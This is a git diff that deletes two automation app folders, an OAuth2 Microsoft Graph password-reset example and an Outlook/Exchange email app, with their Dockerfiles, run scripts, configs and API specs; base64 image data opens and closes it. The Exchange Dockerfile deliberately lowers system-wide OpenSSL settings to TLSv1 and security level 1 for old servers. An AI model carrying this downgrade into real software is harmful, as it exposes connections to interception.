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 diff --git a/oauth2-example/1.0.0/docker-compose.yml b/oauth2-example/1.0.0/docker-compose.yml deleted file mode 100644 index 47de05b2..00000000 --- a/oauth2-example/1.0.0/docker-compose.yml +++ /dev/null @@ -1,14 +0,0 @@ -version: '3.4' -services: - thehive: - build: - context: . - dockerfile: Dockerfile - env_file: - - env.txt - restart: "no" - deploy: - mode: replicated - replicas: 10 - restart_policy: - condition: none diff --git a/oauth2-example/1.0.0/env.txt b/oauth2-example/1.0.0/env.txt deleted file mode 100644 index 1398a35f..00000000 --- a/oauth2-example/1.0.0/env.txt +++ /dev/null @@ -1,4 +0,0 @@ -REDIS_URI=redis://redis -REDIS_ACTION_RESULT_CH=action-results -REDIS_ACTION_RESULTS_GROUP=action-results-group -APP_NAME=thehive diff --git a/oauth2-example/1.0.0/requirements.txt b/oauth2-example/1.0.0/requirements.txt deleted file mode 100644 index 1d40c46a..00000000 --- a/oauth2-example/1.0.0/requirements.txt +++ /dev/null @@ -1,3 +0,0 @@ -requests==2.25.1 -thehive4py==1.8.1 -python-magic==0.4.18 diff --git a/oauth2-example/1.0.0/run b/oauth2-example/1.0.0/run deleted file mode 100644 index 6127bfb7..00000000 --- a/oauth2-example/1.0.0/run +++ /dev/null @@ -1,17 +0,0 @@ -#!/bin/sh -docker stop frikky/shuffle:thehive_1.0.0 --force -docker rm frikky/shuffle:thehive_1.0.0 --force -docker rmi frikky/shuffle:thehive_1.0.0 --force - -docker build . -t frikky/shuffle:thehive_1.0.0 - -echo "RUNNING!\n\n" -docker run \ - --env CALLBACK_URL="http://192.168.239.144:5001" \ - --env ACTION='{"app_name":"testing","app_version":"1.0.0","errors":[],"id_":"13fa4c3f-8991-3ade-b90d-f326fd4941dd","is_valid":true,"label":"random_number","environment":"onprem","name":"random_number","parameters":[],"position":{"x":178.07868996109607,"y":457.28345902971614},"priority":3}' \ - --env FUNCTION_APIKEY="asdasd" \ - --env EXECUTIONID="2349bf96-51ad-68d2-5ca6-75ef8f7ee814" \ - --env AUTHORIZATION="8e344a2e-db51-448f-804c-eb959a32c139" \ - frikky/shuffle:thehive_1.0.0 - -docker push frikky/shuffle:thehive_1.0.0 diff --git a/oauth2-example/1.0.0/src/app.py b/oauth2-example/1.0.0/src/app.py deleted file mode 100644 index e36997e4..00000000 --- a/oauth2-example/1.0.0/src/app.py +++ /dev/null @@ -1,61 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- - -import asyncio -import time -import random -import json -import requests -import thehive4py - -from thehive4py.api import TheHiveApi -from thehive4py.query import * -import thehive4py.models - -from walkoff_app_sdk.app_base import AppBase - - -class Oauth2Example(AppBase): - __version__ = "1.0.0" - app_name = "oauth2-example" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def authenticate(self, access_token, refresh_token): - s = requests.Session() - s.headers = { - "Content-Type": "application/json", - "Authorization": "Bearer %s" % access_token - } - - return s - - # UserAuthenticationMethod.ReadWrite.All - def reset_password(self, access_token, refresh_token, userId, passwordId, newPassword=""): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(access_token, refresh_token) - - url = "https://graph.microsoft.com/beta/users/%s/authentication/passwordMethods/%s/resetPassword" % (userId, passwordId) - response = session.post(url) - print(response.status_code) - return response.text - - # UserAuthenticationMethod.ReadWrite.All - def get_password_methods(self, access_token, refresh_token): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(access_token, refresh_token) - - url = "https://graph.microsoft.com/beta/me/authentication/passwordMethods" - response = session.get(url) - print(response.status_code) - return response.text - -if __name__ == "__main__": - Oauth2Example.run() diff --git a/outlook-exchange/1.0.0/Dockerfile b/outlook-exchange/1.0.0/Dockerfile deleted file mode 100644 index c7520f12..00000000 --- a/outlook-exchange/1.0.0/Dockerfile +++ /dev/null @@ -1,43 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -RUN apk update && \ - apk upgrade - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage - -FROM base as builder -RUN apk add --no-cache build-base gcc musl-dev python3-dev libffi-dev libxml2-dev libxslt-dev alpine-sdk openssl-dev libc-dev ca-certificates -RUN pip install --no-cache-dir -U pip && \ - pip wheel --no-cache-dir --wheel-dir=/root/lxml_wheel lxml - -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - - -FROM base -COPY --from=builder /root/lxml_wheel /root/lxml_wheel - -# lxml binary dependencies -COPY --from=builder /usr/lib/libxslt.so.1 /usr/lib/libxslt.so.1 -COPY --from=builder /usr/lib/libexslt.so.0 /usr/lib/libexslt.so.0 -COPY --from=builder /usr/lib/libxml2.so.2 /usr/lib/libxml2.so.2 -COPY --from=builder /usr/lib/libgcrypt.so.20 /usr/lib/libgcrypt.so.20 -COPY --from=builder /usr/lib/libgpg-error.so.0 /usr/lib/libgpg-error.so.0 - -RUN python -OO -m pip install --no-cache --no-index --find-links=/root/lxml_wheel/* /root/lxml_wheel/* - -COPY --from=builder /install /usr/local -COPY src /app - -## Ensuring we can handle OLD exchange servers -RUN echo "MinProtocol = TLSv1/" >> /etc/ssl/openssl.cnf -run echo "CipherString = DEFAULT@SECLEVEL=1/" >> /etc/ssl/openssl.cnf -RUN cat /etc/ssl/openssl.cnf - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG - diff --git a/outlook-exchange/1.0.0/api.yaml b/outlook-exchange/1.0.0/api.yaml deleted file mode 100644 index 751c0b53..00000000 --- a/outlook-exchange/1.0.0/api.yaml +++ /dev/null @@ -1,258 +0,0 @@ -walkoff_version: 1.0.0 -app_version: 1.0.0 -name: outlook-exchange -description: "Email app for Exchange (OWA). Important about usage: try WITHOUT the full email in the username for authentication." -tags: - - email - - owa -categories: - - email -contact_info: - name: "@frikkylikeme" - url: https://github.com/frikky - email: "frikky@shuffler.io" -authentication: - required: true - parameters: - - name: username - description: "The Exchange (OWA) login username. IMPORTANT: Try WITHOUT your full email." - multiline: false - example: "frikky@shuffler.io" - required: true - schema: - type: string - - name: password - description: The password to log in - multiline: false - example: "******************" - required: true - schema: - type: string - - name: server - description: The Exchange (OWA) server path - multiline: false - example: "Outlook.office365.com" - required: true - schema: - type: string - - name: build - description: The Exchange build version - multiline: false - example: "15.1" - required: false - schema: - type: string - - name: account - description: Account name for delegation - multiline: false - example: "frikky@shuffler.io" - required: true - schema: - type: string - - name: verifyssl - description: False to ignore ssl verification during login - multiline: false - options: - - "false" - - "true" - required: true - schema: - type: bool -actions: - - name: get_emails - description: Get email from Exchange (OWA) - parameters: - - name: foldername - description: The folder to use, e.g. "inbox" - multiline: false - example: "inbox" - required: true - schema: - type: string - - name: amount - description: Amount of emails to retrieve - multiline: false - example: "10" - required: true - schema: - type: string - - name: unread - description: Retrieve just unread email - multiline: false - options: - - "false" - - "true" - required: true - schema: - type: bool - - name: category - description: The category/tag to filter by - multiline: false - example: "phishing" - required: false - schema: - type: string - - name: fields - description: The comma separated fields to export - multiline: false - example: "body, header.subject, header.header.message-id" - required: false - schema: - type: string - - name: include_raw_body - description: Include raw body in email export - multiline: false - options: - - "false" - - "true" - required: true - schema: - type: bool - - name: include_attachment_data - description: Include raw attachments in email export - multiline: false - options: - - "false" - - "true" - required: true - schema: - type: bool - - name: upload_email_shuffle - description: Upload email in shuffle, return uid - multiline: false - options: - - "false" - - "true" - required: true - schema: - type: bool - - name: upload_attachments_shuffle - description: Upload attachments in shuffle, return uids - multiline: false - options: - - "false" - - "true" - required: true - schema: - type: bool - returns: - schema: - type: string - - name: send_email - description: Send an email from Exchange (OWA) - parameters: - - name: recipient - description: The receiver(s) of the email - multiline: false - example: "frikky@shuffler.io,frikky@shuffler.io" - required: true - schema: - type: string - - name: ccrecipient - description: The CC receiver(s) of the email - multiline: false - example: "frikky@shuffler.io,frikky@shuffler.io" - required: false - schema: - type: string - - name: subject - description: The subject of the email - multiline: false - example: "This is a subject, hello there :)" - required: true - schema: - type: string - - name: body - description: The body to add to the email - multiline: true - example: "This is an email alert from Shuffler.io :)" - required: true - schema: - type: string - - name: attachments - description: Uid of files to add as attachments - multiline: false - required: false - schema: - type: string - returns: - schema: - type: string - - name: mark_email_as_read - description: Mark Exchange (OWA) email as read - parameters: - - name: email_id - description: Id of the email to be marked as read - multiline: false - example: "" - required: true - schema: - type: string - - name: foldername - description: The folder to use, e.g. "inbox/personal" - multiline: false - example: "inbox/personal" - required: false - schema: - type: string - returns: - schema: - type: string - - name: delete_email - description: Delete Exchange (OWA) email - parameters: - - name: email_id - description: Id of the email to be deleted - multiline: false - example: "" - required: true - schema: - type: string - returns: - schema: - type: string - - name: move_email - description: Move an Exchange (OWA) email in specific folder - parameters: - - name: email_id - description: Id of the email to be moved - multiline: false - example: "" - required: true - schema: - type: string - - name: foldername - description: The destination folder to use, e.g. "inbox" - multiline: false - example: "inbox" - required: true - schema: - type: string - - name: add_category - description: Add a category/tag to an email - parameters: - - name: category - description: Category/tag to add to email - multiline: false - example: processed,shuffle - required: true - schema: - type: string - - name: email_id - description: Id of the email to be moved - multiline: false - example: "" - required: true - schema: - type: string - - name: foldername - description: The destination folder to use, e.g. "inbox" - multiline: false - example: "inbox" - required: true - schema: - type: string - returns: - schema: - type: string -large_image: data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCACuAK4DASIAAhEBAxEB/8QAHAABAAIDAQEBAAAAAAAAAAAAAAYHAQUIAgQD/8QASRAAAQMCAwAKDAwGAgMAAAAAAQACAwQFBgcREhMhMTJBUWFxwQgUFyI2dIGhsbLC0RY1N0JUVVaRk5Si0hUjUmJz8HKSJFNj/8QAGgEAAwEBAQEAAAAAAAAAAAAAAAQFBgMBAv/EADYRAAEEAAIECwgDAQEAAAAAAAEAAgMEBRE0cYGxEhMVITEyUVJhkdEUIjVBU3Kh4ULB8DMG/9oADAMBAAIRAxEAPwDlRERCEREQhEREIRF7jikldsYo3vdyNGpWypsPXWo02uhmA5XjY+ldGRPk6jSVzfKyPruAWqRSulwRcpNDO+GEf8tkfMttT4Dp26ds1kr+ZjQ306pyPC7Un8MtfMk5MUqs/nnq51XyK1KbCVog01p3SnlkeStpT26iph/IpII+drBr96djwGU9dwH5ST8eiHUaT+FTLmuadHNIPOF5Ukx+AMQOA/8AU3rUbUixFxMro888jkq9eXjomyZZZjNERFxXZEREIRERCEREQhZAJOg3SvrprXX1Ona9HUSc7YzopfldGx8lxL2NcWiPQka6cJWBvbyt0sIFmISudln8slBvYya0phazPL55+GaqamwfeJtNlTtiH/0eB6FtaXAE50NVWxNHJG0nznRWGUVWPBazenM7fRSpMctP6MhqHrmopTYHtcWm3OnmPO7QeZbSnw9aabTaqGHUcbhsj59VtisFOx04I+qweSSku2JOs8+a/OOKOJuxiY1jeRo0C9LKwmAMlwzzWCvJXoryV6vUQohQhVhmB4Qu/wATetRtSTMDwhd/ib1qNrCX9Jk1lbuho0eoIiIlE2iIiEIiIhCIiIQp7lXwrn0R+0p8VAcq+Fc+iP2lPitphGiM27ysPjGmP2bgsFEKKkpqwVgrJWCherCwsrCF6sFeSvRXkoX0iFEKEKsMwPCF3+JvWo2rvdgwXw9uGz1VZr3m2xskI3OLvdxY7mjfs3X/AIUyzFrCpJZnPD2857f0tNVxaOKFrCx3MOz9qkUV3dzRv2br/wAKZO5o37N1/wCFMuHI0vfb5/pd+Wou47yHqqRRXd3NG/Zuv/CmTuaN+zdf+FMjkaXvt8/0jlqLuO8h6qkUV3dzRv2br/wpk7mjfs3X/hTI5Gl77fP9I5ai7jvIeqpFFcVzy+pKaEdtWmqotnuNe8SN1PNstwqqbtROt1yqKR52RidpryjfB+5K2qElUBziCD2JupiEVpxa0EEdqmOVfCufRH7SnxUByr4Vz6I/aU+K02EaIzbvKyuMaY/ZuCwUQoqSmrBWCt/hHCtyxVc